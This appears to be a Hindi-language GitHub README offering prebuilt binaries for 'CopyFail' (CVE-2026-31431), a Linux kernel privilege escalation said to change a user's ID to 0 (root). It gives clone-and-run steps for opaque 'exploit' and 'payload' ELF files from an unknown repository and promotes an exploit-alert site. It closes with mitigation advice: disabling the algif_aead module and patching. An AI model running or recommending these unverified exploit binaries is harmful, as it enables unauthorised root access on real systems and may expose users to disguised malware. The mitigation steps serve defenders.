CVE-2026-31431

CopyFail मानक बाइनरी

सभी नए CVE अलर्ट https://exploitroom.com पर प्राप्त करें

mail :: ~/Desktop/CVE-2026 » file *
exploit:            ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9454dbdde0ac2d1a8981c06db89f24a4753ec3b7, for GNU/Linux 3.2.0, not stripped
payload:            ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=9b0f16503767336bc8a821482933c1111aafa23a, stripped
verify_vulneurable: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=a79c6ab7e9d14e60af8d7dfc1c102e3bc93a910b, for GNU/Linux 3.2.0, not stripped
mail :: ~/Desktop/CVE-2026 » 

उपयोग कैसे करें

git clone https://github.com/ExploitEoom/CVE-2026-31431.git
cd CVE-2026-31431
chmod +x *
./verify_vulneurable
./exploit 

https://github.com/user-attachments/assets/27e0f28e-0cb8-438d-9fe4-ebd56035adad

शोषित भाग को समझना

आईडी 1000 से बदलकर 0000 हो गई

गलती से नुकसान हो जाए तो पुनर्स्थापना कैसे करें

हम कुछ सिस्टम कमांड नहीं चला सकते sudo su का उपयोग करके रूट के रूप में जाएं या ./exploit चलाएं फिर उस उपयोगकर्ता को खोजें जिस पर आपने एक्सप्लॉइट चलाया था 0000 को 1000 से बदलें यहाँ आपको अपना उपयोगकर्ता वापस मिल गया है

तत्काल आवश्यक कार्रवाई:

1. अस्थायी शमन – (जांचें कि algif_aead उपयोग में है या नहीं) चलाएं:

 lsmod | grep algif_aead

कोई आउटपुट नहीं (उपयोग में नहीं) → नीचे दिए गए अक्षम कमांड चलाएं

echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null || true

2. स्थायी समाधान (निष्पादन से पहले व्यावसायिक संगतता का सावधानीपूर्वक मूल्यांकन करें)

Debian/Ubuntu: sudo apt update && sudo apt upgrade -y CentOS/RHEL/Rocky/Alma: sudo dnf update -y पैच: https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5